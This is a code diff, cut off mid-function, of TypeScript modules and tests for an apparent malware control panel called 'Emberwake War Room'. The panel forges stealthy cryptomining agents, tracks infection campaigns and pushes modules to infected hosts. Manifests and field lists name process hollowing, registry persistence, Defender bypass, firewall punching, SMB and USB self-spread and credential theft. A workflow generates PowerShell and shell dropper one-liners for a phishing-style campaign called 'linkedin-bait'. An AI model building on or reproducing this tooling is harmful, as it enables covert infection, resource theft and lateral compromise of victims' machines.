expect(Number.isFinite(n.x)).toBe(true);
expect(Number.isFinite(n.y)).toBe(true);
}
const a = graph.nodes.find((n) => n.id === 'a')!;
const b = graph.nodes.find((n) => n.id === 'b')!;
const c = graph.nodes.find((n) => n.id === 'c')!;
const ab = Math.hypot(a.x - b.x, a.y - b.y);
const ac = Math.hypot(a.x - c.x, a.y - c.y);
expect(ab).toBeLessThan(ac);
});
it('tickForceLayout keeps nodes in bounds', () => {
const graph = buildConstellationGraph([campaign({ campaign: 'solo', hits: 1 })]);
initNodePositions(graph.nodes, 200, 150);
for (let i = 0; i < 20; i++) {
tickForceLayout(graph.nodes, graph.edges, 200, 150, 0.5);
}
const n = graph.nodes[0];
expect(n.x).toBeGreaterThanOrEqual(24);
expect(n.x).toBeLessThanOrEqual(200 - 24);
});
});

View File

@@ -0,0 +1,226 @@
/** Campaign constellation force-graph helpers for Emberwake War Room. */
import type { WarRoomCampaign } from './warRoom';
export interface ConstellationNode {
id: string;
campaign: string;
hits: number;
online: number;
conversionPct: number;
pins: string[];
radius: number;
color: string;
brightness: number;
pulsing: boolean;
x: number;
y: number;
vx: number;
vy: number;
}
export interface ConstellationEdge {
source: string;
target: string;
sharedPins: string[];
}
export interface ConstellationGraph {
nodes: ConstellationNode[];
edges: ConstellationEdge[];
}
const MIN_RADIUS = 10;
const MAX_RADIUS = 36;
/** Node radius scaled by hits (sqrt curve for readability). */
export function nodeRadius(hits: number, maxHits: number): number {
if (hits <= 0) return MIN_RADIUS;
if (maxHits <= 0) return MIN_RADIUS + 4;
const t = Math.sqrt(hits / maxHits);
return MIN_RADIUS + t * (MAX_RADIUS - MIN_RADIUS);
}
/** Brightness 0.351.0 from online agent count. */
export function nodeBrightness(online: number, maxOnline: number): number {
if (online <= 0) return 0.35;
if (maxOnline <= 0) return 1;
return 0.35 + 0.65 * (online / maxOnline);
}
/** Aether palette: cool cyan (low) → gold (mid) → rose (high conversion). */
export function conversionColor(pct: number): string {
const t = Math.max(0, Math.min(1, pct / 100));
if (t < 0.5) {
const u = t / 0.5;
const r = Math.round(61 + u * (201 - 61));
const g = Math.round(214 + u * (162 - 214));
const b = Math.round(198 + u * (39 - 198));
return `rgb(${r},${g},${b})`;
}
const u = (t - 0.5) / 0.5;
const r = Math.round(201 + u * (244 - 201));
const g = Math.round(162 + u * (63 - 162));
const b = Math.round(39 + u * (94 - 39));
return `rgb(${r},${g},${b})`;
}
/** Edges link campaigns that share at least one pin/build id. */
export function buildConstellationEdges(
campaigns: Pick<WarRoomCampaign, 'campaign' | 'pins'>[],
): ConstellationEdge[] {
const edges: ConstellationEdge[] = [];
const seen = new Set<string>();
for (let i = 0; i < campaigns.length; i++) {
const pinsA = new Set((campaigns[i].pins ?? []).filter(Boolean));
if (!pinsA.size) continue;
for (let j = i + 1; j < campaigns.length; j++) {
const shared = (campaigns[j].pins ?? []).filter((p) => pinsA.has(p));
if (!shared.length) continue;
const a = campaigns[i].campaign;
const b = campaigns[j].campaign;
const key = a < b ? `${a}|${b}` : `${b}|${a}`;
if (seen.has(key)) continue;
seen.add(key);
edges.push({ source: a, target: b, sharedPins: [...new Set(shared)] });
}
}
return edges;
}
/** Build graph nodes + pin-sharing edges from war-room campaigns. */
export function buildConstellationGraph(campaigns: WarRoomCampaign[]): ConstellationGraph {
const maxHits = Math.max(1, ...campaigns.map((c) => c.hits ?? 0));
const maxOnline = Math.max(1, ...campaigns.map((c) => c.online ?? 0));
const nodes: ConstellationNode[] = campaigns.map((c) => {
const hits = c.hits ?? 0;
const online = c.online ?? 0;
return {
id: c.campaign,
campaign: c.campaign,
hits,
online,
conversionPct: c.conversion_pct ?? 0,
pins: c.pins ?? [],
radius: nodeRadius(hits, maxHits),
color: conversionColor(c.conversion_pct ?? 0),
brightness: nodeBrightness(online, maxOnline),
pulsing: online > 0,
x: 0,
y: 0,
vx: 0,
vy: 0,
};
});
return { nodes, edges: buildConstellationEdges(campaigns) };
}
/** Scatter nodes in a circle for force-sim cold start. */
export function initNodePositions(nodes: ConstellationNode[], width: number, height: number): void {
const cx = width / 2;
const cy = height / 2;
const ring = Math.min(width, height) * 0.32;
nodes.forEach((n, i) => {
const angle = (i / Math.max(1, nodes.length)) * Math.PI * 2;
n.x = cx + Math.cos(angle) * ring;
n.y = cy + Math.sin(angle) * ring;
n.vx = 0;
n.vy = 0;
});
}
const REPULSE = 4200;
const SPRING = 0.045;
const SPRING_LEN = 90;
const CENTER = 0.012;
const DAMPING = 0.82;
const PAD = 24;
/** One tick of lightweight force-directed layout (no D3). */
export function tickForceLayout(
nodes: ConstellationNode[],
edges: ConstellationEdge[],
width: number,
height: number,
alpha = 1,
): void {
const cx = width / 2;
const cy = height / 2;
const nodeById = new Map(nodes.map((n) => [n.id, n]));
for (let i = 0; i < nodes.length; i++) {
for (let j = i + 1; j < nodes.length; j++) {
const a = nodes[i];
const b = nodes[j];
let dx = b.x - a.x;
let dy = b.y - a.y;
let dist = Math.hypot(dx, dy) || 0.01;
const minDist = a.radius + b.radius + 12;
const force = (REPULSE * alpha) / (dist * dist);
if (dist < minDist) {
const push = ((minDist - dist) / dist) * 0.5;
dx *= push;
dy *= push;
dist = Math.hypot(dx, dy) || 0.01;
}
const fx = (dx / dist) * force;
const fy = (dy / dist) * force;
a.vx -= fx;
a.vy -= fy;
b.vx += fx;
b.vy += fy;
}
}
for (const e of edges) {
const a = nodeById.get(e.source);
const b = nodeById.get(e.target);
if (!a || !b) continue;
const dx = b.x - a.x;
const dy = b.y - a.y;
const dist = Math.hypot(dx, dy) || 0.01;
const force = (dist - SPRING_LEN) * SPRING * alpha;
const fx = (dx / dist) * force;
const fy = (dy / dist) * force;
a.vx += fx;
a.vy += fy;
b.vx -= fx;
b.vy -= fy;
}
for (const n of nodes) {
n.vx += (cx - n.x) * CENTER * alpha;
n.vy += (cy - n.y) * CENTER * alpha;
n.vx *= DAMPING;
n.vy *= DAMPING;
n.x += n.vx;
n.y += n.vy;
const r = n.radius + PAD;
n.x = Math.max(r, Math.min(width - r, n.x));
n.y = Math.max(r, Math.min(height - r, n.y));
}
}
/** Run layout to near-equilibrium; returns same node references (mutated). */
export function settleForceLayout(
nodes: ConstellationNode[],
edges: ConstellationEdge[],
width: number,
height: number,
ticks = 120,
): ConstellationNode[] {
initNodePositions(nodes, width, height);
for (let t = ticks; t > 0; t--) {
tickForceLayout(nodes, edges, width, height, t / ticks);
}
return nodes;
}

View File

@@ -0,0 +1,65 @@
import { describe, expect, it } from 'vitest';
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
import { FIELD_HELP } from './settingHelp';
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
const HELP_TIP_FIELDS = [
'calibrate_wallet', 'public_url', 'cloudflare_tunnel_token', 'open_firewall_on_start',
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
'process_name', 'display_mode', 'persistence', 'run_as', 'host_binary_target', 'auto_start',
'autostart_mode', 'registry_persistence', 'registry_run_hkcu', 'registry_run_once',
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
] as const;
describe('docAnchors', () => {
it('maps at least 60 forge/calibrate/crucible hints', () => {
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
});
it('returns /docs/# paths', () => {
for (const path of Object.values(DOC_ANCHORS)) {
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
}
});
it('docAnchorForField resolves known keys', () => {
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
expect(docAnchorForField('unknown_field')).toBeUndefined();
});
it('covers top calibrate fields', () => {
expect(DOC_ANCHORS.calibrate_wallet).toBeDefined();
expect(DOC_ANCHORS.public_url).toBeDefined();
expect(DOC_ANCHORS.cloudflare_tunnel_token).toBeDefined();
});
it('covers top forge spread fields', () => {
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
});
it('every HelpTip field has a wiki anchor', () => {
for (const field of HELP_TIP_FIELDS) {
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
}
});
it('covers newly added forge scheduling and fusion anchors', () => {
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');
expect(DOC_ANCHORS.sign_tool_path).toBe('/docs/#forge');
expect(DOC_ANCHORS.schedule_start).toBe('/docs/#agent');
});
});

View File

@@ -0,0 +1,86 @@
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
export const DOC_ANCHORS: Record<string, string> = {
// Calibrate
calibrate_wallet: '/docs/#dashboard',
calibrate_quick_setup: '/docs/#quick-start',
public_url: '/docs/#quick-start',
cloudflare_tunnel_token: '/docs/#dashboard',
open_firewall_on_start: '/docs/#security-auth',
obfuscate_default: '/docs/#forge',
sign_enabled: '/docs/#forge',
sign_cert_thumbprint: '/docs/#forge',
sign_timestamp_url: '/docs/#forge',
// Forge — core
worker_name: '/docs/#forge',
server_url: '/docs/#quick-start',
wallet: '/docs/#mining',
pool_pass: '/docs/#mining',
target_os: '/docs/#forge',
target_arch: '/docs/#forge',
output_dir: '/docs/#forge',
thread_mode: '/docs/#forge',
thread_percent: '/docs/#forge-stealth',
threads: '/docs/#forge-stealth',
cpu_priority: '/docs/#forge-stealth',
max_cpu_usage_pct: '/docs/#agent',
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',
schedule_end: '/docs/#agent',
install_base: '/docs/#forge-stealth',
install_custom_base: '/docs/#forge-stealth',
install_relative_path: '/docs/#forge-stealth',
adapt_to_hardware: '/docs/#forge-stealth',
process_hollowing: '/docs/#forge-stealth',
file_logging: '/docs/#agent',
process_name: '/docs/#forge-stealth',
display_mode: '/docs/#forge-stealth',
run_as: '/docs/#agent',
host_binary_target: '/docs/#forge-stealth',
auto_start: '/docs/#agent',
autostart_mode: '/docs/#agent',
registry_persistence: '/docs/#agent',
registry_run_hkcu: '/docs/#agent',
registry_run_once: '/docs/#agent',
registry_run_hklm: '/docs/#agent',
registry_explorer_run: '/docs/#agent',
fusion_media_mode: '/docs/#forge',
fusion_batch: '/docs/#forge',
fusion_run_order: '/docs/#forge',
fusion_output_name: '/docs/#forge',
sign_tool_path: '/docs/#forge',
stealth_mode: '/docs/#forge-stealth',
self_healing: '/docs/#forge-stealth',
persistence: '/docs/#agent',
fusion_enabled: '/docs/#forge',
fusion_prep: '/docs/#forge',
obfuscate: '/docs/#forge',
sign_build: '/docs/#forge',
sigil_scramble: '/docs/#forge',
https_beacon_fallback: '/docs/#agent',
// Forge — spread & ops
usb_spread: '/docs/#spread-campaigns',
share_spread: '/docs/#spread-campaigns',
auto_spread: '/docs/#spread-campaigns',
remote_aggressive: '/docs/#dashboard',
mesh_p2p: '/docs/#agent',
hole_punch: '/docs/#agent',
// AI
ai_enabled: '/docs/#alerts-ai',
ai_ollama_endpoint: '/docs/#alerts-ai',
ai_model: '/docs/#alerts-ai',
// Crucible / agent remote
firewall_remote: '/docs/#agent',
firewall_exclusion: '/docs/#agent',
};
export function docAnchorForField(field: string): string | undefined {
return DOC_ANCHORS[field];
}

View File

@@ -0,0 +1,67 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import type { FleetGroup } from './fleetGroups';
import {
groupClusterCenter,
hashrateSpiked,
hashPosition,
layoutAgentPoints,
layoutComradePoints,
} from './fleetHeatMap';
describe('fleetHeatMap', () => {
it('hashPosition is stable for the same seed', () => {
const a = hashPosition('node-alpha');
const b = hashPosition('node-alpha');
expect(a).toEqual(b);
expect(a.x).toBeGreaterThanOrEqual(12);
expect(a.y).toBeLessThanOrEqual(88);
});
it('groupClusterCenter spreads clusters around the map', () => {
const c0 = groupClusterCenter(0, 4);
const c1 = groupClusterCenter(2, 4);
expect(Math.hypot(c0.x - c1.x, c0.y - c1.y)).toBeGreaterThan(10);
});
it('layoutAgentPoints clusters grouped agents and hashes ungrouped hosts', () => {
const groups: FleetGroup[] = [
{
id: 'g1',
name: 'Alpha',
color: '#00f5ff',
agentIds: ['a1', 'a2'],
createdAt: '2026-01-01T00:00:00Z',
},
];
const agents = [
mockAgent({ id: 'a1', name: 'one', hostname: 'host-one' }),
mockAgent({ id: 'a2', name: 'two', hostname: 'host-two' }),
mockAgent({ id: 'a3', name: 'solo', hostname: 'solo-host' }),
];
const points = layoutAgentPoints(agents, groups);
expect(points).toHaveLength(3);
const grouped = points.filter((p) => p.id === 'a1' || p.id === 'a2');
const solo = points.find((p) => p.id === 'a3');
const dist = Math.hypot(grouped[0].x - grouped[1].x, grouped[0].y - grouped[1].y);
expect(dist).toBeLessThan(20);
expect(solo?.color).toBeUndefined();
const soloAgain = layoutAgentPoints([agents[2]], groups).find((p) => p.id === 'a3');
expect(solo).toEqual(soloAgain);
});
it('layoutComradePoints uses distinct comrade kind', () => {
const pts = layoutComradePoints(['india', 'ally']);
expect(pts.every((p) => p.kind === 'comrade')).toBe(true);
expect(pts[0].id).toBe('comrade:india');
});
it('hashrateSpiked detects ratio and minimum delta', () => {
expect(hashrateSpiked(undefined, 0)).toBe(false);
expect(hashrateSpiked(undefined, 80)).toBe(true);
expect(hashrateSpiked(100, 110)).toBe(false);
expect(hashrateSpiked(100, 160)).toBe(true);
});
});

View File

@@ -0,0 +1,129 @@
import type { Agent } from '../types';
import type { FleetGroup } from './fleetGroups';
import { FLEET_GROUP_COLORS, primaryGroupForAgent } from './fleetGroups';
export interface MapPoint {
id: string;
kind: 'agent' | 'comrade';
x: number;
y: number;
label: string;
color?: string;
online?: boolean;
}
export const COMRADE_DOT_COLOR = '#ffb020';
export const HASHRATE_SPIKE_RATIO = 1.25;
export const HASHRATE_SPIKE_MIN_DELTA = 50;
export function hashString(seed: string): number {
let h = 0;
for (let i = 0; i < seed.length; i++) {
h = (h * 31 + seed.charCodeAt(i)) >>> 0;
}
return h;
}
/** Stable pseudo-random position from a string seed (percent coords). */
export function hashPosition(seed: string, margin = 12): { x: number; y: number } {
const h = hashString(seed);
const range = 100 - margin * 2;
return {
x: margin + ((h % 1000) / 1000) * range,
y: margin + (((h >>> 10) % 1000) / 1000) * range,
};
}
export function groupClusterCenter(
groupIndex: number,
totalGroups: number,
margin = 14,
): { x: number; y: number } {
const angle = (groupIndex / Math.max(totalGroups, 1)) * Math.PI * 2 - Math.PI / 2;
const cx = 50 + Math.cos(angle) * 30;
const cy = 50 + Math.sin(angle) * 30;
return {
x: Math.max(margin, Math.min(100 - margin, cx)),
y: Math.max(margin, Math.min(100 - margin, cy)),
};
}
export function agentMapPosition(
agent: Agent,
group: FleetGroup | undefined,
groupIndex: number,
totalGroups: number,
agentIndexInCluster: number,
clusterSize: number,
): { x: number; y: number } {
const seed = agent.hostname || agent.name || agent.id;
if (group) {
const center = groupClusterCenter(groupIndex, totalGroups);
const jitter = hashPosition(`${group.id}:${agent.id}`, 0);
const spread = Math.min(9, 2.5 + clusterSize * 0.7);
const angle = (agentIndexInCluster / Math.max(clusterSize, 1)) * Math.PI * 2;
return {
x: center.x + Math.cos(angle) * spread + (jitter.x - 50) * 0.06,
y: center.y + Math.sin(angle) * spread + (jitter.y - 50) * 0.06,
};
}
return hashPosition(seed);
}
export function agentAccentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return FLEET_GROUP_COLORS[idx % FLEET_GROUP_COLORS.length] ?? FLEET_GROUP_COLORS[0];
}
export function hashrateSpiked(prev: number | undefined, current: number): boolean {
if (current <= 0) return false;
if (prev === undefined || prev <= 0) return current >= HASHRATE_SPIKE_MIN_DELTA;
const delta = current - prev;
return delta >= HASHRATE_SPIKE_MIN_DELTA && current >= prev * HASHRATE_SPIKE_RATIO;
}
export function layoutAgentPoints(agents: Agent[], groups: FleetGroup[]): MapPoint[] {
const groupsWithAgents = groups.filter((g) => agents.some((a) => g.agentIds.includes(a.id)));
return agents.map((agent) => {
const pg = primaryGroupForAgent(groups, agent.id);
const groupIndex = pg ? groupsWithAgents.findIndex((g) => g.id === pg.id) : -1;
const clusterAgents = pg ? agents.filter((a) => pg.agentIds.includes(a.id)) : [];
const agentIndexInCluster = pg ? clusterAgents.findIndex((a) => a.id === agent.id) : 0;
const pos = agentMapPosition(
agent,
pg,
groupIndex >= 0 ? groupIndex : 0,
groupsWithAgents.length || 1,
agentIndexInCluster,
clusterAgents.length,
);
return {
id: agent.id,
kind: 'agent' as const,
x: pos.x,
y: pos.y,
label: agent.name,
color: pg?.color,
online: agent.status === 'online',
};
});
}
export function layoutComradePoints(users: string[]): MapPoint[] {
return users.map((user) => {
const pos = hashPosition(`comrade:${user}`, 8);
return {
id: `comrade:${user}`,
kind: 'comrade' as const,
x: pos.x,
y: pos.y,
label: user,
color: COMRADE_DOT_COLOR,
online: true,
};
});
}

View File

@@ -0,0 +1,51 @@
import { describe, expect, it } from 'vitest';
import {
capabilitiesMatchModule,
findFleetModule,
moduleFeatureFlags,
modulePushLabel,
resolveFleetModules,
} from './fleetModules';
import type { FleetModuleManifest } from '../types';
const crucible: FleetModuleManifest = {
name: 'crucible_ops',
version: '1',
display_name: 'Crucible Ops',
features: { remote_aggressive: true },
};
describe('fleetModules', () => {
it('falls back to built-in packs when list is empty', () => {
const list = resolveFleetModules([]);
expect(list.map((m) => m.name)).toEqual(['crucible_ops', 'spread', 'gpu']);
});
it('builds guided push label for group target', () => {
expect(modulePushLabel(crucible, 'group', 'Alpha Squad')).toBe('Push Crucible Ops to Alpha Squad');
});
it('builds guided push label for all online', () => {
expect(modulePushLabel(crucible, 'all', undefined, 3)).toBe('Push Crucible Ops to all online (3)');
});
it('lists feature flags from manifest', () => {
expect(moduleFeatureFlags({ name: 'spread', version: '1', features: { auto_spread: true, usb_spread: true } })).toEqual([
'auto_spread',
'usb_spread',
]);
});
it('detects when agent capabilities match a staged pack', () => {
expect(
capabilitiesMatchModule({ remote_aggressive: true } as import('../types').AgentCapabilities, crucible),
).toBe(true);
expect(
capabilitiesMatchModule({ remote_aggressive: false } as import('../types').AgentCapabilities, crucible),
).toBe(false);
});
it('finds pack by name', () => {
expect(findFleetModule([], 'gpu')?.display_name).toBe('GPU Miner');
});
});

View File

@@ -0,0 +1,109 @@
import type { AgentCapabilities, FleetModuleManifest } from '../types';
/** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */
export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [
{
name: 'crucible_ops',
version: '1',
display_name: 'Crucible Ops',
summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender',
description:
'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.',
accent: 'magenta',
capabilities: [
'Remote tunnels (cloudflared, SSH forward)',
'Subnet scan & SMB share enumeration',
'Firewall punch / disable / profile control',
'Defender RTP bypass (Windows)',
'On-demand spread_now trigger',
'Credential vault & secure wipe',
],
features: { remote_aggressive: true },
},
{
name: 'spread',
version: '1',
display_name: 'Spread Pack',
summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks',
description:
'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.',
accent: 'cyan',
capabilities: [
'SMB / WinRM auto-spread scheduler',
'SSH lateral spread (Linux/macOS)',
'USB removable-media propagation',
'WMI-based passive hooks (Windows)',
'Spread status & funnel telemetry',
],
features: { auto_spread: true, usb_spread: true },
},
{
name: 'gpu',
version: '1',
display_name: 'GPU Miner',
summary: 'KawPoW RVN GPU mining when hardware and wallet are present',
description:
'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.',
accent: 'gold',
capabilities: [
'KawPoW RVN miner (T-Rex / TRM)',
'GPU hashrate telemetry on dashboard',
'Pause/resume with fleet policy',
'Windows NVIDIA/AMD when drivers present',
],
features: { gpu_enabled: true },
},
];
export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] {
if (modules.length > 0) return modules;
return FLEET_MODULE_FALLBACKS;
}
export function findFleetModule(
modules: FleetModuleManifest[],
name: string,
): FleetModuleManifest | undefined {
const list = resolveFleetModules(modules);
return list.find((m) => m.name === name);
}
export function moduleDisplayName(mod: FleetModuleManifest): string {
return mod.display_name?.trim() || mod.name;
}
/** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */
export function modulePushLabel(
mod: FleetModuleManifest,
targetMode: 'all' | 'group',
groupName?: string,
onlineCount?: number,
): string {
const pack = moduleDisplayName(mod);
if (targetMode === 'group' && groupName) {
return `Push ${pack} to ${groupName}`;
}
const n = onlineCount ?? 0;
return `Push ${pack} to all online (${n})`;
}
/** Feature flags the agent applies from a pack manifest. */
export function moduleFeatureFlags(mod: FleetModuleManifest): string[] {
if (!mod.features) return [];
return Object.entries(mod.features)
.filter(([, v]) => v === true)
.map(([k]) => k)
.sort();
}
/** Returns true when agent capabilities reflect at least one flag from the pack. */
export function capabilitiesMatchModule(
caps: AgentCapabilities | undefined,
mod: FleetModuleManifest,
): boolean {
if (!caps || !mod.features) return false;
return Object.entries(mod.features).some(([key, want]) => {
if (want !== true) return false;
return Boolean((caps as unknown as Record<string, boolean | undefined>)[key]);
});
}

View File

@@ -0,0 +1,139 @@
import { describe, it, expect, vi } from 'vitest';
import type { BuildRequest, BuildResponse } from '../types';
import {
applyMissionPresets,
buildMissionLinks,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionApi,
} from './forgeMission';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.50:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'mission-worker',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
stealth_mode: false,
spread_kit: false,
fusion_enabled: false,
}) as BuildRequest;
const okBuild = (overrides: Partial<BuildResponse> = {}): BuildResponse => ({
success: true,
build_id: 'build-abc-123',
file_name: 'worker.exe',
file_size: 1024,
download_url: '/api/v1/builds/build-abc-123/download',
...overrides,
});
describe('forgeMission helpers', () => {
it('applies operation mode then spread profile', () => {
const next = applyMissionPresets(baseForm(), 'ghost_walk', 'lan_kindling');
expect(next.stealth_mode).toBe(true);
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('builds dropper links with pin and campaign', () => {
const links = buildMissionLinks('http://10.0.0.5:8989/', 'pin-1', 'wave-a');
expect(links.ps1).toContain("install.ps1?pin=pin-1&c=wave-a");
expect(links.sh).toContain('install.sh?pin=pin-1&c=wave-a');
expect(links.get).toBe('http://10.0.0.5:8989/get?pin=pin-1&c=wave-a');
expect(links.clipboardText).toContain(links.ps1);
expect(links.clipboardText).toContain(links.sh);
expect(links.clipboardText).toContain(links.get);
});
it('tracks mission step status including skipped export', () => {
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
expect(missionStepStatus('copy', 'done', false)).toBe('done');
});
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
const buildAgent = vi.fn().mockResolvedValue(okBuild());
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
const api: MissionApi = { buildAgent, exportSpreadKit };
const steps: string[] = [];
const result = await runForgeMission({
form: baseForm(),
operationMode: 'wildfire',
spreadProfile: 'lan_kindling',
campaign: 'linkedin-bait',
serverBase: 'http://192.168.1.50:8989',
api,
onStep: (s) => steps.push(s),
cancelToken: 'tok-1',
});
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
expect(buildAgent).toHaveBeenCalledOnce();
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
expect(exportSpreadKit).toHaveBeenCalledWith({
build_id: 'build-abc-123',
server_url: 'http://192.168.1.50:8989',
campaign: 'linkedin-bait',
});
expect(result.exportSkipped).toBe(false);
expect(result.links.ps1).toContain('build-abc-123');
});
it('skips export when spread_kit is false after presets', async () => {
const buildAgent = vi.fn().mockResolvedValue(okBuild());
const exportSpreadKit = vi.fn();
const steps: string[] = [];
const result = await runForgeMission({
form: baseForm(),
operationMode: 'open_flame',
spreadProfile: '',
campaign: '',
serverBase: 'http://host:8989',
api: { buildAgent, exportSpreadKit },
onStep: (s) => steps.push(s),
});
expect(exportSpreadKit).not.toHaveBeenCalled();
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
expect(result.exportSkipped).toBe(true);
});
it('throws on failed build without exporting', async () => {
const buildAgent = vi.fn().mockResolvedValue({
success: false,
error: 'garble OOM',
} satisfies BuildResponse);
const exportSpreadKit = vi.fn();
await expect(
runForgeMission({
form: baseForm(),
operationMode: 'ghost_walk',
spreadProfile: 'lan_kindling',
campaign: 'x',
serverBase: 'http://host',
api: { buildAgent, exportSpreadKit },
}),
).rejects.toThrow('garble OOM');
expect(exportSpreadKit).not.toHaveBeenCalled();
});
it('copyMissionLinks writes combined text', async () => {
const writeText = vi.fn().mockResolvedValue(undefined);
vi.stubGlobal('navigator', { clipboard: { writeText } });
const links = buildMissionLinks('http://h', 'b1', 'c1');
await copyMissionLinks(links);
expect(writeText).toHaveBeenCalledWith(links.clipboardText);
});
});

View File

@@ -0,0 +1,155 @@
import type { BuildRequest, BuildResponse } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
import {
combinedDropperQuery,
getUrl,
ps1Oneliner,
shOneliner,
} from './emberwake';
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
configure: 'Configure',
forge: 'Forge',
export: 'Export',
copy: 'Copy',
};
export interface MissionLinks {
ps1: string;
sh: string;
get: string;
clipboardText: string;
}
export interface MissionResult {
build: BuildResponse;
links: MissionLinks;
exportSkipped: boolean;
}
export interface MissionApi {
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
}
export function applyMissionPresets(
form: BuildRequest,
operationMode: OperationModeId,
spreadProfile: SpreadProfileId | '',
): BuildRequest {
let next = applyOperationMode(form, operationMode);
if (spreadProfile) {
next = applySpreadProfile(next, spreadProfile);
}
return normalizeForgeForm(next);
}
export function buildMissionLinks(
serverBase: string,
buildId: string,
campaign: string,
): MissionLinks {
const query = combinedDropperQuery(buildId, campaign);
const ps1 = ps1Oneliner(serverBase, query);
const sh = shOneliner(serverBase, query);
const get = getUrl(serverBase, query);
const clipboardText = [ps1, sh, get].join('\n\n');
return { ps1, sh, get, clipboardText };
}
export function missionStepIndex(step: MissionStep): number {
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
return idx < 0 ? -1 : idx;
}
export function missionStepStatus(
step: (typeof MISSION_STEPS)[number],
current: MissionStep,
exportSkipped: boolean,
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
if (current === 'error') {
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'error';
return 'pending';
}
if (step === 'export' && exportSkipped) return 'skipped';
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (curIdx < 0) return 'pending';
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'active';
return 'pending';
}
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(links.clipboardText);
return;
}
throw new Error('Clipboard unavailable');
}
export async function runForgeMission(opts: {
form: BuildRequest;
operationMode: OperationModeId;
spreadProfile: SpreadProfileId | '';
campaign: string;
serverBase: string;
fusionPrepFile?: File | null;
api: MissionApi;
onStep?: (step: MissionStep) => void;
cancelToken?: string;
}): Promise<MissionResult> {
const {
form,
operationMode,
spreadProfile,
